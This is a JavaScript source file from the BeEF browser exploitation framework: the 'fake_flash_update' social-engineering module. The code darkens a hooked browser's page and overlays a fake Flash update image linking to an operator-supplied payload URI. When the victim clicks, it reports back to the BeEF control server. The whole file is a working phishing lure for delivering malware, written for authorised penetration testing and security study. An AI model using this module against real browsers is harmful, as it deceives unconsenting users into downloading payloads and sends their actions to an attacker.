Path: blob/master/modules/social_engineering/fake_flash_update/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// Module Configurations9var image = "<%== @image %>";1011// Function to gray out the screen12var grayOut = function(vis, options) {13var options = options || {};14var zindex = options.zindex || 50;15var opacity = options.opacity || 70;16var opaque = (opacity / 100);17var bgcolor = options.bgcolor || '#000000';18var dark=document.getElementById('darkenScreenObject');19if (!dark) {20var tbody = document.getElementsByTagName("body")[0];21var tnode = document.createElement('div');22tnode.style.position='absolute';23tnode.style.top='0px';24tnode.style.left='0px';25tnode.style.overflow='hidden';26tnode.style.display='none';27tnode.id='darkenScreenObject';28tbody.appendChild(tnode);29dark=document.getElementById('darkenScreenObject');30}31if (vis) {32var pageWidth='100%';33var pageHeight='100%';34dark.style.opacity=opaque;35dark.style.MozOpacity=opaque;36dark.style.filter='alpha(opacity='+opacity+')';37dark.style.zIndex=zindex;38dark.style.backgroundColor=bgcolor;39dark.style.width= pageWidth;40dark.style.height= pageHeight;41dark.style.display='block';42} else {43dark.style.display='none';44}45};4647// Create DIV48var flashdiv = document.createElement('div');49flashdiv.setAttribute('id', 'flashDiv');50flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;');51flashdiv.setAttribute('align', 'center');52document.body.appendChild(flashdiv);5354// window.open is very useful when using data URI vectors and the IFrame/Object tag55// also, as the user is clicking on the link, the new tab opener is not blocked by the browser.56flashdiv.innerHTML = "<a href=\"<%== @payload_uri %>\" target=\"_blank\" ><img src=\"" + image + "\" /></a>";5758// gray out the background59grayOut(true,{'opacity':'30'});6061// clean up on click62$j("#flashDiv").click(function () {63$j(this).hide();64document.body.removeChild(flashdiv);65grayOut(false,{'opacity':'0'});66document.body.removeChild(document.getElementById('darkenScreenObject'));67beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked');68});6970});717273